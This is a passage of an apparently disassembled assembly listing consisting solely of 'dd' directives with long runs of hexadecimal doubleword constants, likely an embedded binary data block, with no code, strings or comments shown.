0F8313E7Ch, 4A229CBEh, 0DF8604ACh, 0EFE05F2Dh dd 0EADF5D6Eh, 0D145D23h, 52931A92h, 0D0E8CB23h, 0A1DA3608h dd 0B07D86F5h, 0DBA4D911h, 0F110CC7Ah, 0EF129FE5h, 0D1D8D4ADh dd 0C3220008h, 0A191C7FCh, 1CDDF882h, 0D9F59DBh, 8AC71E1Bh dd 0E782DE11h, 0BB44EADFh, 0A98CA06Dh, 1A91121Bh, 430937E6h dd 0AFC0D654h, 0A23CB7BEh, 4725BE8Fh, 0AFF35559h, 31E525Ah dd 3AF29BEEh, 4C1B0BC4h, 3F96803Ah, 29683835h, 0A92150A8h dd 0FD9B6DBCh, 0A63874F8h, 3FFDB329h, 0D98706A0h, 260EE434h dd 93313A0Eh, 6ABA4BB5h, 0A1E074A8h, 1E84867Ch, 17CA90D1h dd 39365C5Eh, 8FBDD3D1h, 25619016h, 0AE47FB8Ah, 0F662BD3h dd 5B2B186Dh, 0E25983ECh, 0C29B5CA7h, 0CF971FEEh, 7B3DE459h dd 79BEF070h, 0E1BC76B3h, 943E1789h, 0D01EE876h, 22419DCEh dd 6FF77474h, 86C32097h, 3A4088ADh, 7110DA5Bh, 8E35CBE7h dd 0B43D4DD2h, 0F7B465C9h, 0D42663F0h, 3B4FFDC3h, 9B7E38AAh dd 5A5C4F5Ah, 0B8B5E7D6h, 3DB261F2h, 43720712h, 9942F871h dd 905D9D04h, 76A8D5AEh, 97B567BEh, 78A5F736h, 0C39128B1h dd 8720094Ah, 31930AB2h, 0AD1FFA97h, 83FEBBF3h, 8A33C9A6h dd 0E649E09Ah, 0B319C222h, 7660FFEDh, 0CF8B64C5h, 0B6848A9Eh dd 0DC70919Ah, 8C3A39FBh, 0D75FB04Eh, 4222C46Ch, 65B6EC09h dd 96E24F30h, 0A79B1B14h, 9BEF4h, 0A8C20F22h, 9B84F050h dd 35CF472Ah, 8D92A7ECh, 0C68899Ch, 8A4A98EAh, 31139703h dd 4DA79C6Eh, 0E63B39D3h, 0A2E390FAh, 3F498229h, 0D32999A9h dd 0CC9BEACCh, 0D6EF0ED8h, 14CE278Bh, 5DAFBB10h, 94AA8D8Fh dd 891BF8BCh, 0C03FB8D1h, 0DA094D6Bh, 0A55AE326h, 4BE02F14h dd 85BA43CDh, 7C246A4Fh, 8E28138Eh, 2928DF65h, 0CE5CD66Dh dd 0A6DA92E5h, 0C17E34F4h, 0F8BAB2BBh, 57862009h, 0B7A4E2D4h dd 360A6BFCh, 3C15116Eh, 3A831D6Ah, 4FBF64F6h, 0B03D0EDEh dd 2C9A7609h, 71D0A471h, 713205BBh, 0FAB07E31h, 2A6AC259h dd 9CC9C399h, 0A702D415h, 73BD6431h, 51A461EEh, 4833350Ah dd 64740756h, 68E5F157h, 74CB5121h, 0CEC0050Fh, 0EA70EA67h dd 342F6EF4h, 0F6EFAC65h, 95724CC6h, 8F48C354h, 683C83CCh dd 32EE0036h, 0C5049700h, 4F02D788h, 0D98D88A0h, 82F51710h dd 0F2971845h, 88DCEA49h, 0FB8202ECh, 9BD36F34h, 22E52209h dd 7DE8C1FDh, 61E0EB2Dh, 27512EF1h, 0C666AA73h, 91685DD8h dd 0D7DA2004h, 473C32EAh, 51A05056h, 4E9BCFEh, 0DF72819Ch dd 0CD80AE7Bh, 55F3EB06h, 9CA99754h, 0C4872A5Eh, 4C94531Eh dd 6C50C0B0h, 6C4B0AC3h, 3755C719h, 630C011h, 0FC4D30F9h dd 9C13DBB7h, 7074A95Bh, 91BA7CFBh, 7D70AB8Ch, 72D424DBh dd 4C6A018Ah, 6C2A9D9Eh, 0A03572CFh, 66F475Ch, 69B9067Eh dd 59125AC2h, 0C95B9B2Fh, 5D9C96E4h, 3FC114DEh, 0CA06E2A1h dd 550AB048h, 48FE05E7h, 3BD415DBh, 0FEBD7Dh, 3FA913ADh dd 58E05125h, 0FB3FF77Eh, 0B123E34Eh, 757FB67Ah, 8244095Dh dd 0DB298F71h, 7ACF689Ah, 887CC570h, 8FF7C835h, 0E2F83E67h dd 0B64428FDh, 7E22D0A9h, 61EB2F55h, 14BEBFC1h, 1917DD80h dd 67F401CDh, 80C8922Dh, 89475AA8h, 81C24CACh, 7B47F6DFh dd 0EB3C716Ah, 192E35B7h, 0D0FB9531h, 16A79BADh, 329B16DDh dd 0EC4EF6F8h, 2B011F17h, 0A5DBB7F0h, 5E2C66C1h, 0BD86328Ah dd 2A424FFCh, 23365E8h, 0BEA5DB45h, 3942B862h, 9BF9958h dd 1A8569D8h, 0ACA51ACh, 0EE81DE67h, 37338C34h, 3A333254h dd 1878EA53h, 37DBCCE4h, 0CBA06FAEh, 0EC3E9814h, 23916E11h dd 6D0254Ah, 60D35D6Dh, 274AA930h, 0CED921D7h, 9F8477DAh dd 8EC560A9h, 0A262D135h, 2BBB9356h, 17BCAA7Eh, 0AF9F5DC5h dd 0C24903C8h, 7DBD410Bh, 5816F4B2h, 3DE5DAF6h, 8F40295Ah dd 6C6E62A9h, 49258576h, 14847D29h, 5CC7F4ECh, 0D1F03476h dd 0A1336677h, 45076DC2h, 28CF6DEBh, 8127EC37h, 0C6B87BF9h dd 26D214Fh, 1AF6EAh, 2FE33DF5h, 3ACA1751h, 0B63E17EDh dd 9023F062h, 0DA36F56h, 6C5CF05h, 5BDD6732h, 0B7515B1Dh dd 0D1A784FEh, 0A75D7AE8h, 1B36A1D4h, 0F759E64Ch, 0B333B3CEh dd 5905A2E7h, 1BE6EFD6h, 111BB424h, 0BBE92541h, 36D9CFD7h dd 9BC74AA1h, 9A0BCD27h, 0C64FC664h, 69AE7078h, 588BEFA9h dd 93123A97h, 6970EDDBh, 921717D6h, 0BDE4325Ah, 3F44F6D7h dd 14C3B87Bh, 9471BC80h, 0F2BCB209h, 0AC9ED426h, 0BFFF8ECEh dd 2BE2A18Eh, 884922E3h, 0FD84BB54h, 0EA66F417h, 0C333B53Bh dd 6040F3E7h, 59328A9Ch, 0B195A879h, 0C12EDA85h, 6D04A26Ch dd 94F2A85Ch, 0EBF14D89h, 33175B6h, 0FAC805A6h, 13D35286h dd 0F8B69089h, 824FEE48h, 0EACC62AAh, 0EB94D10Ch, 9E6B4ACAh dd 3D00D75Eh, 0F3BF0225h, 0AA2F63ACh, 0CAF2A739h, 0D5FCE476h dd 7544D6B2h, 0AEE52DABh, 0D6F8473Bh, 0CC24098h, 33FB00DFh dd 0C27F961Ah, 21C44160h, 5BA163E1h, 7CD8C5ACh, 0D2CF4917h dd 28875BCCh, 86B794DBh, 0E6DB86A1h, 0BDAE0B4Fh, 0CC435DAFh dd 0A0EADF7h, 311029E3h, 0B58DBD80h, 6F3D9AF2h, 0F354F58Eh dd 0ABF94AF4h, 9B2068FAh, 0EC4FBA93h, 0BA58FD3Bh, 9F2C835Bh dd 0FBF53F53h, 1ED62430h, 82D76396h, 4121AC7Dh, 3EA4E4B2h dd 427BA51Ah, 0C13C44CBh, 17ABA862h, 0DAEBAA50h, 0BF75CFABh dd 7321F683h, 285919D8h, 0DEDE1971h, 0C5B5ADF6h, 0F584BF68h dd 0A8A13345h, 0E2DBCBBh, 3357FC05h, 0ABA3E360h, 79F91E77h dd 26931DB3h, 0BC3CAEB2h, 55AA8986h, 43C84BB9h, 5CAE8499h dd 0C217A295h, 875D6AEFh, 2D19268Dh, 0D38903A4h, 28FC3282h dd 262EF049h, 0D7E6C4ADh, 90D05807h, 0B30E56AAh, 0CE03D00Bh dd 0DD443607h, 0DD599C40h, 588BF53Ch, 0FD08FEDAh, 634F4379h dd 0CC7432C2h, 0C599AB69h, 0AED16E0Bh, 0F25C58E1h, 0E197653Dh dd 1E8AF156h, 0B274B693h, 0EC363F26h, 236F0745h, 0FE6F2C6Eh dd 0D8A17231h, 0F87D1681h, 0DE8915D0h, 4851C50Dh, 63309FCAh dd 47D4FD9Ah, 0A0C7E850h, 4B0C311Dh, 4BA21660h, 6F7A982h dd 7A589418h, 0DA8C1EEFh, 0B7C588A4h, 73EFB9Dh, 0CC9D42F3h dd 0C5F81DCFh, 8FD0C5EDh, 0BE349B60h, 16BBBFh, 2646839Dh dd 38C64462h, 3B611446h, 8DDE67CCh, 2D64E489h, 3832CA5Ch dd 0D7E01D34h, 838224A1h, 307ABBCCh, 490F82AAh, 0D63EE341h dd 4204C6FEh, 0F575E4AFh, 0A368794Ah, 4AD261E3h, 3E2D62F9h dd 0D9492FFh, 436D6E18h, 8D912846h, 0F66D664Fh, 3691D196h dd 3FEDB57Ch, 1D089E7Bh, 1191270Bh, 0C703F287h, 0BCE1AB2Fh dd 0E0BF4203h, 1A0C414Fh, 4D66E855h, 5FF5ABEBh, 0A46F835Dh dd 66FE9B4Eh, 0B07CD6ADh, 99143643h, 45A233F9h, 1375FFC0h dd 0B32707BFh, 27575DD6h, 0DFAC7549h, 0DF1CC9DEh, 6B852495h dd 0C4AA3F82h, 352CDCAEh, 0D5079F3h, 16932DFh, 2101D05h dd 1FBC4C3Ch, 0CC22D34h dd 8D185B7h, 3A7EF766h, 70106193h, 45A148BEh, 0E658A799h dd 2A679900h, 0C879B159h, 9649941Dh, 14D5A068h, 7D780757h dd 11BFAE4Bh, 0E41E1FDDh, 0EB756FD6h, 9B224AE6h, 125B3548h dd 5482AF09h, 0B0ECDAA3h, 0D48E6091h, 796AC7F5h, 0B8864BDFh dd 363CCE10h, 829B36E3h, 249D5764h, 510C99D9h, 1E08DDF7h dd 807F3D91h, 1CBDE9C8h, 8B6C4855h, 0D054F07Dh, 8382B2FAh dd 46CEDE7Ah, 0DAAB9F03h, 7E7F8D95h, 5C71BCC5h, 507CF4AEh dd 6FCB39D6h, 270AD6A2h, 20583565h, 9F676AF1h, 2C1E0F21h dd 0B1EC38E9h, 1861B391h, 18956E5h, 59CB0216h, 5BF755CBh dd 0CD62BEF8h, 0B7AFAB8Ch, 24E4B3AEh, 0E2AFCC9Ch, 7703EA8Eh dd 503F806Eh, 7DEFB7EEh, 9CE8CCDAh, 49FC38A2h, 0BB0B3173h dd 907DC6E3h, 1AA30CBCh, 33054BC8h, 2DA3B8C7h, 0FC10D82Bh dd 19B5AF0Eh, 0CD394DD0h, 0F8BA206Fh, 0DF862826h, 0E1AABBDFh dd 31F7ADCEh, 0B69AEAA2h, 0E7C2C267h, 8C8650CAh, 33FAF65Fh dd 0FECF4541h, 0E9FF0B85h, 6356AF96h, 0B1F37EF6h, 78659E8h dd 6229BDB5h, 0CA488880h, 6A524A0Ah, 4AF52021h, 0ADE9C8DAh dd 0D6309441h, 1623F144h, 4D7EC796h, 9B5D636h, 1C280CEEh dd 0F1B806E1h, 0DC52F046h, 0C63FD43h, 3E13C371h, 85268D5Dh dd 0D5E17B69h, 2919123Eh, 6A07FE64h, 82D0694h, 0D0CE7A9Ah dd 4A2BB66Bh, 0ED64FD6h, 6EACDB95h, 0D73CF658h, 0C2DBE4EBh dd 9C2A88A4h, 0BC77C4B9h, 19C11211h, 0BB5A33DBh, 9B7E7CA6h dd 68C9C1E3h, 8811394Eh, 0EDA711F4h, 0C3B2D14Eh, 532260BFh dd 0DF2AFF9Ah, 0A1BDF262h, 0C51E8F4Bh, 1F2E6A32h, 1606F44Eh dd 8E637A05h, 9C2AFBE2h, 0A24CD287h, 13A3F16h, 9CD84B20h dd 8B5A50C3h, 46645461h, 91D51127h, 0F656347Bh, 37D5D85Ah dd 4E97C079h, 8CAB94CDh, 0CF7D3EDBh, 6961865Dh, 8A8AB4E9h dd 975FDD9Dh, 6C14219Fh, 0B6AFFEECh, 909174B9h, 2AFB6DD3h dd 117C1659h, 9FE37898h, 743610ABh, 7AE2E88Fh, 0CB87DAABh dd 63604A12h, 5B938ECDh, 91DD43ECh, 7E7A6586h, 27EA7B1h dd 2787EC79h, 0C67BCD78h, 67D7F05Ah, 45D1B654h, 0F3D8B677h dd 0C892554Fh, 0A9822A26h, 26F2676Eh, 0B307C50Fh, 2CAD5F20h dd 305AF60Bh, 0F65A89ADh, 2D60956Ah, 5AD589CFh, 91F5DDD7h dd 0F6D01C8Dh, 66FA6BC0h, 3E019E9Ah, 771592FCh, 48D999FDh dd 0C8B7F746h, 0AE72138h, 6307DE51h, 0E2D02539h, 2944D5B0h dd 0B8F31806h, 14A66D3h, 9C261CC8h, 0ECCC3726h, 0B0EADD74h dd 8423AB29h, 0E2F9610Ch, 0A5D887D1h, 0C0F39490h, 2827F6B4h dd 8B902A1Bh, 0AD5DDF04h, 0A405EBA8h, 0F91988CAh, 0F5205AE8h dd 473F3718h, 8A8E8C93h, 7B158A1Dh, 7438F8BEh, 0AF140713h dd 0C6A78BC9h, 3248824Fh, 658ED113h, 0AD4E1774h, 0BD2421ABh dd 1F26DC7Dh, 0F815F469h, 8558E1Fh, 7EB4FD10h, 0A3A97F93h dd 93E9D5F6h, 0C35BC206h, 35D01D7Ch, 0CB3A703Bh, 6096DDFFh dd 5E2D3B8Fh, 52521F56h, 2FB35A36h, 159C1A5Ch, 0CCD4DBA3h dd 7AA6C98Dh, 0AE17587h, 2499B32Ch, 539741E4h, 0F369A3A3h dd 0A14ECBE5h, 0A8636731h, 2A28BD26h, 7BEAF0BAh, 0EB5691A1h dd 0D9A844D4h, 571A523Ah, 0D9CE9A23h, 3029F84Ah, 0F4E2808Ch dd 0B2B3D539h, 74CF491Bh, 0D0F7878Fh, 5AEB3AB3h, 8560CA71h dd 0EDE74AA5h, 0D510FF4Dh, 4F5AD578h, 0D86E3CEEh, 0D56E8B15h dd 9FF58EFFh, 3332BB2Ah, 3B53662Fh, 453DD0CCh, 2490CD0Fh dd 53B6B091h, 69B38A60h, 36FE9900h, 0DEA5C89Ah, 7BB19B6Dh dd 8B7C69CDh, 76D5827Bh, 0B3E4FDBBh, 68D74816h, 9E41E3CAh dd 493E805Eh, 0F53740DBh, 0FD6F76Bh, 0EB3BD7F8h, 8B5E759h dd 96418E43h, 374E52F3h, 0C9D10192h, 411BCBFDh, 1DE766CFh dd 19D7FF4Eh, 0F6A7B048h, 9DAADFFFh, 9134670h, 6A8A4535h dd 1171A4ADh, 428C9A8Bh, 82914C7Bh, 0C7C5FCEDh, 38FB09E4h dd 990E6641h, 17E0128h, 30FD6B27h, 6415D850h, 515BEDD4h dd 0B9E360D6h, 0B41364E0h, 39DA4169h, 75588E0Eh, 0A9D1F731h dd 0A07D887Ch, 53195989h, 0DBAFAA4Bh, 0D9E22CEFh, 0BEF852B6h dd 24B69287h, 20C95E48h, 0FF30EE56h, 8D40A675h, 4D428BBFh dd 0CF69FB8Ah, 0EF52F69Eh, 0F61175F0h, 94CD5793h, 48245798h dd 0C8696AD1h, 525DD25Fh, 5A677AC9h, 69FBD08Ah, 6F43BA9h dd 83DE7C88h, 6BE70DE6h, 60497098h, 2E49E7F1h, 46838858h dd 6270D0EEh, 74B4E936h, 0EA2665D6h, 0ED0DDE58h, 0A52402DDh dd 5330D80h, 0ED0359CBh, 0F0E0AAAh, 7ABC3AD2h, 27ED8F79h dd 0E831F0E9h, 507BE9C2h, 8D6FC950h, 4281A15Eh, 4B5B18AFh dd 56FBEB8h, 5BDD2D69h, 772D0BB7h, 29BDFF85h, 823C52C6h dd 3856D0FDh, 0FE43F582h, 80A40CB2h, 2293C9E7h, 0B470F665h dd 22192E67h, 348A9B88h, 23A96211h, 0FDFB1BAFh, 0E699344Ah dd 746AB203h, 8CD8093Ah, 0F4151128h, 357D12CFh, 0F792AE93h dd 0B48BF538h, 6305F70Ah, 4DD233CDh, 629928C3h, 8C89C399h dd 5DC27F97h, 0ED979D83h, 320A3BDCh, 267AC997h, 50AAFC26h dd 7A2F40DEh, 8D7EB76Fh, 1CC2E8A5h, 4D9FE912h, 8F827350h dd 0B81290D0h, 0EF2F1B9Ah, 0B4556Dh, 11A3DBE1h, 70878737h dd 7427C6A5h, 20545EDh, 233419F9h, 0DADD7D74h, 0AAC2C099h dd 111EBBEFh, 0D1CC7DA7h, 977167h, 0F2E5C4A5h, 4CA8D240h dd 1D668019h, 0BBC2BC48h, 0B5200A9Eh, 0F77ECBBFh, 7D3EE891h dd 0E2140A24h, 72EFBD2Bh, 0BC6A1705h, 0F374FCD2h, 3A5E0EAFh dd 4EEC64FFh, 3CDA5E1Bh, 0F5B2BDCFh, 67F5BE2Eh, 0EF4DC461h dd 0B5420ED7h, 0E30DBA7Bh, 3E682B16h, 0D37E1EDAh, 4EFCBDDEh dd 9F587EE8h, 0B1FEEC6Bh, 50A5A34Dh, 45CC312Eh, 7EB8010h dd 7977B942h, 0D07514A9h, 0E3DE7666h, 0A42C3B79h, 10E76C0Dh dd 8D55FF4Eh, 9DFABC0Dh, 22E19B28h, 0DDA2DDF9h, 549CC270h dd 0C8DFDE9Eh, 0D7EC6F39h, 0F1BC4EC3h, 57DD88BFh, 369F3CA1h dd 38185C92h, 456D75FDh, 0A880BCB0h, 0A9A31997h, 0D6971692h dd 0B946D715h, 54DEA73h, 0CDF69F74h, 0D1A20447h, 188CA6B0h dd 5698C4D2h, 119F5FDAh, 628612BAh, 0FEFB3ADBh, 0F9C05462h dd 0F142C2B6h, 76A7A408h, 18DC525Ah, 1CACFEACh, 0AD7271C5h dd 0E624F5DDh, 591D926Bh, 8B8916A2h, 4D6F1A7Eh, 8B281BB5h dd 0AD60A36Fh, 48B079D6h, 60C358EBh, 1CF5DDC8h, 0CEDA1FF2h dd 0B53739FAh, 0C14C16A8h, 0A774C90Eh, 27F00800h, 62845A60h dd 925E314Bh, 0BC2DC4DDh, 0FACF106Dh, 0FFC4A3Eh, 91C98C77h dd 34024B30h, 0DC367A3Bh, 37E81DD3h, 298D054Bh, 50085EFEh dd 58D20F5h, 0B92D0BD9h, 0D2EA371Eh, 8D08FAF5h, 755CC814h dd 0E526F1A3h, 0A0E66512h, 0C5B5BF77h, 70771A8h, 84518CCBh dd 0D22FD5E5h, 9ED0871Ah, 0FDCCC562h, 5D89BA70h, 0DD0984D8h dd 35045142h, 0F94AE2EFh, 0EFB150E3h, 0CD661C6Eh, 9E111F49h dd 26B5A719h, 1277ABA5h, 0B15DC450h, 4921F9D8h, 0C96BD6E5h dd 7BBBD548h, 73B2C036h, 5039BE13h, 0D2E74446h, 1DD574F7h dd 0DDA45557h, 8F2607FDh, 411F337Eh, 0DA8D985Eh, 4D1518Dh dd 7EC374BBh, 4D6AE5F8h, 5CCE4FE7h, 5F907E4Eh, 7B38FF63h dd 9607D556h, 8D48B5Ch, 5B144C7Dh, 0AA0E13C4h, 913B6959h dd 0FDA51A96h, 27659AD8h, 0B977C172h, 0B0E844BDh, 0FBC897Bh dd 0AF54F402h, 0EABF7696h, 41B37862h, 58A3C5FCh, 5F429Fh dd 0CCBC0585h, 2C92DA4Dh dd 79B86631h, 0CF57BF95h, 6C5CDC9Eh, 7C61AE70h, 0BEBD6C49h dd 345B12F5h, 3E100D1Ch, 0D057CDCDh, 555E9357h, 139BFC96h dd 0CD15A37h, 14A573AEh, 62FB5F33h, 8CCE6129h, 0C21249A5h dd 8DC74A29h, 27D1A08Dh, 706F7D36h, 30E197D4h, 0A60C9A7Fh dd 285FD733h, 3BC6F006h, 621F460Dh, 46C3AD5Ch, 0E22DFA8Ch dd 0C40DA1ABh, 25B0996Dh, 9C18E0C7h, 0E56533E4h, 0E5BEE082h dd 0FE54D022h, 4514CA8Fh, 23D28390h, 0D4AA72E9h, 0A3161F96h dd 0A495B463h, 5D9B5DCAh, 6A18A4A8h, 0A4E21401h, 7937B3E4h dd 8635A22Dh, 40D2EA81h, 61F021F9h, 72B3147h, 6E16CD11h dd 0E65BDC1Dh, 2FAAC07h, 1580135Dh, 28F1FE06h, 0FDB030D1h dd 0B96F4A0h, 8F0DE0E8h, 0B96BE2E6h, 47DC8DABh, 958028AFh dd 5310B1C5h, 360A15CCh, 5670AB6Eh, 0C68E9258h, 0CFA78CBBh dd 25EAD35Eh, 0AFBF1F84h, 713DE57Ah, 90BDD944h, 1B8E09DEh dd 45900FA3h, 2604C1BAh, 66C3C6E5h, 8959BE46h, 108E10h dd 7593589Bh, 400DB534h, 0BD0385EFh, 8A078BEh, 40CC31F7h dd 23CB4033h, 12FFD417h, 2E3C8AAFh, 26780144h, 0DF8E7E69h dd 0BC6B1B22h, 58BC44D6h, 47613EA7h, 0F43EE3CBh, 2CB79F6Dh dd 5FD2144Bh, 0C64CA824h, 0F72BEE05h, 41CE793Ah, 0CACA45DFh dd 0B0F2EE1Fh, 0A93B4C71h, 0BB0FF17Fh, 0CA2A4E86h, 0C8F8421Eh dd 0F004816Eh, 9099F255h, 94001289h, 43E693B6h, 2EF154B6h dd 4D815FEFh, 62825A4Fh, 0C57CF1ADh, 0B8BC9483h, 0DFDDE9B2h dd 0B36A9C11h, 9D62B4EEh, 0BF7A32DCh, 868B5646h, 20B9FCE2h dd 0DAA47D2Ch, 6E32EB15h, 1B6BAC78h, 2797E690h, 8074765h dd 995E90Dh, 576DF276h, 14E862D0h, 11473749h, 388F1F10h dd 1C6D23D4h, 66BF0EEEh, 9D2CD9EFh, 0AC899BD0h, 4D9953BBh dd 2E3223D8h, 521B1BFBh, 8B589A95h, 93BD2466h, 16D180EAh dd 6AF8AFD3h, 9B8795ABh, 7B4DC622h, 2D5AF8B4h, 0FD6EC73Ch dd 80B5F5FEh, 0AC77AF60h, 7EEAA93Bh, 0F3440433h, 1508881Ah dd 2D990782h, 3E49A3E8h, 0D7CF9927h, 0FE40BFD7h, 0D67BE36Dh dd 9752881h, 2E2B4CA0h, 0AF7AB2B1h, 5C54FE44h, 22D5E7B2h dd 9A984B8Ah, 484A8791h, 7299D66h, 2293D705h, 48BD08FCh dd 0F3643EB8h, 2EEECE3Fh, 0F40F16EEh, 501DBAB5h, 0AF0BCD0Dh dd 0AAAD280Eh, 8A782F53h, 125C4533h, 5665690Bh, 0C336F78Bh dd 0B0710428h, 9BC30FDEh, 0B0F94A3Fh, 1098B1C2h, 379D2C8Ah dd 0A4F85540h, 73CCF240h, 0A15FC960h, 0EBAF4D0Dh, 98E07A25h dd 0DD12A67Fh, 1E96F3CAh, 755FF38Fh, 7AACEEA4h, 7EC93544h dd 2756665h, 35EEF38Ah, 0AA455912h, 1A5E17DEh, 0E9F042EDh dd 0D1E8F787h, 35FAB45Ah, 36384E83h, 90D63ED0h, 0A46EAE6Bh dd 3E9E5B62h, 92B7FC7Ah, 7421F7BCh, 0C9D749C1h, 0F69A335Bh dd 11977A3Fh, 0F73A3A11h, 433F6C3Fh, 9B24F922h, 41D0A5B5h dd 2C42B57Ch, 3AB32AE8h, 88126E7h, 1FC45D8Dh, 78D9227Bh dd 0D149A476h, 7321D680h, 0CCE319A2h, 0A9F09587h, 52B74AF0h dd 6D0418B1h, 7A85ABB1h, 92B716E7h, 0CC7028A6h, 3CCC03B4h dd 47B1BC8Fh, 320731DFh, 7D70DFDCh, 96B6022Ah, 549FD526h dd 34291054h, 5AD06100h, 0A9F38620h, 0D3F06433h, 82CAB772h dd 221407DFh, 51CAF5E1h, 20F34933h, 4DD42D6Fh, 713379DDh dd 0F6C6A66Dh, 0A0069C67h, 23CB78C3h, 8C49CE54h, 0AF3D4E91h dd 1265957Dh, 6DB1283h, 4B462B28h, 0DC27C99Ah, 79F9AAE7h dd 16220DDEh, 0D39F1B2h, 5A0BDE34h, 0C0D77EC5h, 0C0188357h dd 0DE229733h, 0BE404D4Ch, 43CAEA38h, 3047CF6Ah, 32FC7905h dd 3AA423Fh, 0C281412h, 3BF93235h, 0A4862BD0h, 6827F4C3h dd 0AB10B964h, 14CCF2EDh, 1D0F019h, 0D5320118h, 800889B3h dd 24951E25h, 4E71BB87h, 8C16696Ah, 3EBA3C23h, 793FF5F1h dd 89AD7BC4h, 3E0B6F56h, 6AD71Eh, 28A84C8Dh, 5A0D4E11h dd 0BED1E0F2h, 0FA344006h, 0EEFFC811h, 6AEA4787h, 9FABC4E0h dd 1133B67Dh, 0B6E04B31h, 634C5190h, 0C9AB74C9h, 0E842344Bh dd 8799EEDFh, 2FF5F076h, 0EAC334A7h, 0BDB60079h, 8AF6ACD5h dd 0C04DAC68h, 0A015C155h, 8750650Bh, 7D6A22C3h, 0EBDC0070h dd 0C732DB42h, 0FC2C35E2h, 59B08A20h, 0E7CB0896h, 976DAE87h dd 68F2FBAEh, 0AD1CA907h, 6F8859A4h, 13DDD697h, 285F06EAh dd 850BF62Bh, 32E03D28h, 55C855E6h, 5422972Ch, 40DC1ECDh dd 5EA4047h, 9E2EFF6Ch, 6E612844h, 4E7739F6h, 36F2DB48h dd 81644801h, 848CE094h, 93CC1230h, 69F24B8h, 0CA74FB3Dh dd 60F46AB4h, 91DA8FFFh, 4782D3B6h, 54DF50C8h, 0FD702ADDh dd 0D655BFADh, 78DF7E11h, 0EB65C61Ah, 1866972Eh, 0D77435DFh dd 2CB103F5h, 36D081DBh, 722CF9C3h, 0BF3F9B07h, 4A7E5377h dd 0F22744E2h, 0BEF1F2ECh, 0AA51FE9Eh, 26D15652h, 705F2D35h dd 24201E95h, 0C658E437h, 82FBC007h, 0C324D24Bh, 0F8F464Bh dd 9F18A96Eh, 4CC4569Dh, 91A71C35h, 83BF7D8Ch, 27DF2AC5h dd 5AEC4F7Eh, 672A1AC4h, 19FE46AEh, 99DB3364h, 0E96BA6h dd 0CCD12F02h, 0E7F79DB5h, 0BC6CA7F6h, 83C9DE4h, 0BFB8ADB7h dd 0AD7EDE9Dh, 0B6243EBAh, 23E0E24h, 9D60762h, 651CE54Dh dd 0D7B2A3AAh, 3534E616h, 0A4AD5838h, 8F636AC0h, 3AD110FDh dd 39B387B1h, 215B925Fh, 4D048728h, 0D34F4EB9h, 3E37FE74h dd 2574A97Dh, 7E8F834Bh, 7A10140Bh, 8FA82CFDh, 0E5E2EF79h dd 5D969B18h, 6A3319D2h, 2E176C23h, 0E6843580h, 4685BBC8h dd 0F7E5CD1Ch, 0E619F926h, 614ACE60h, 8848DB7h, 0D3CD08D4h dd 0D200B71Ah, 3379B219h, 0AC6D37E4h, 82C2DC0Eh, 3F2B5216h dd 83A136F9h, 2B80D7DEh, 0F3870FEDh, 0DA13DE9Eh, 7697D7C6h dd 7630AE86h, 62572300h, 0F78A0D35h, 0DFB883DCh, 0D0568186h dd 0AEA68594h, 5F76EA8Bh, 16BE4243h, 0B3161D14h, 47F63D14h dd 0FE063BF3h, 0BF2BF038h, 62B0DF0Dh, 4CC493CEh, 884EC887h dd 0B6C7E9CCh, 8C49F73Bh, 3862A0BBh, 0D1C3B375h, 879DC06Ch dd 45C74DDFh, 1463BCA0h, 7B8B2DBAh, 16572C37h, 0D8D761F1h dd 70371E0Ch, 30B6D68Fh, 0D4C0FEA7h, 0A3F5D8CAh, 35E314ECh dd 5F880F5Ah, 0F6B3571Ch, 5DDF8CE5h, 15FDF92h, 0FAC9039Ch dd 83A9AB8Ah, 6845723Eh, 1538E894h, 0CC6F53BCh, 0DDB20D4Dh dd 0DAE8AA79h, 0B5D127EDh, 0F884E18Ah, 8743682Dh, 40A7476Eh dd 55DA7304h, 1CEB3C9Fh, 0F713FD47h, 56A9EB15h, 55D0C570h dd 7513A58Bh, 0CD4908CAh, 3B084328h, 11F63C26h, 0C6D26E24h dd 0B5307607h, 0D0A5CEEEh, 1684585Bh, 195651D1h, 0F82D433Fh dd 0E50928DFh, 9F338117h, 27D94BC2h, 0B2DACF4Ah, 53884888h dd 429D9C80h, 9F9F69B4h, 37FC7DDDh, 0B9D857BAh, 2881CE79h dd 8958D3B4h, 0CDAD4CECh, 0BC6E6710h, 0ED3B9765h, 279C2DD6h dd 6A5ED96Eh, 242E13D2h, 805710E0h, 6DF45A4Bh, 9B7850A8h dd 0D16621DDh, 1566E5D5h, 0C276C9F0h, 0F08BAAFBh, 0D6D7FC77h dd 0DF619B44h, 0F2B5E16h, 175BCFC0h, 79790A15h, 927481C6h dd 56EB22FFh, 0F18027D6h, 56376614h, 0E3B69BDDh, 96A309AEh dd 6AF1CD72h, 80360631h, 6C72144Ah, 30C21035h, 33FBE44Fh dd 34054972h, 2C811689h, 89995A13h, 6821732Eh, 0A4410AD3h dd 0B5953098h, 39867BD4h, 6B36B141h, 7F46D8Eh, 5961B3EEh dd 4DB243BCh, 0A09AB790h, 0E99ED750h, 91CC4BC4h, 0D11E7B47h dd 8CCABFA0h, 6CC919E1h dd 0E9F1CE67h, 801530Eh, 7D695A03h, 81F4D4E8h, 36C87109h dd 8C5CAE6Bh, 62AB7C2Bh, 809F6481h, 14AD4870h, 0DC690637h dd 0E6017D96h, 78F79E65h, 76312EF6h, 0FF7DC271h, 7128929Fh dd 5CD734B1h, 0E678BE61h, 767F2351h, 4D67CB10h, 9360F6B7h dd 513299DAh, 5BD9CE6Dh, 0B52523EAh, 0CBC16D61h, 0F632E467h dd 0E077F56Fh, 0CCAC519Bh, 95AD39F0h, 40C1C89Ch, 7CCD2545h dd 804A33E0h, 9619C280h, 0F3203DE5h, 4510CE30h, 0D18ACB0Ch dd 0A9EADB04h, 0B867A354h, 207649E4h, 0F6A5AEF4h, 0F273D105h dd 4E54B7FAh, 0E53AB8F4h, 0FDB7CF10h, 5B565057h, 0E08254CAh dd 0AD6EE79Eh, 9EE79B2Ch, 0EC0C07DDh, 0B7EA76B4h, 58ACAD71h dd 0CC43C905h, 0C73BC463h, 8C4FFE50h, 45D88A1Fh, 87AF1AC3h dd 2B83772Eh, 3506EEDFh, 2AC240D9h, 496B3AB9h, 0F5A7A1F0h dd 628538F7h, 5D559AFh, 8CEE57EFh, 7466112Fh, 0B44E5D08h dd 7600F93Ch, 0B1E27CFDh, 9ABC9980h, 6310EC1h, 385FA70Eh dd 28632BC3h, 7EA5394h, 4DEC9DCFh, 0DB7707A0h, 3CFE579Ah dd 0D24623F0h, 97CF61h, 0C2BDB5EAh, 0FF707D61h, 12DD12F1h dd 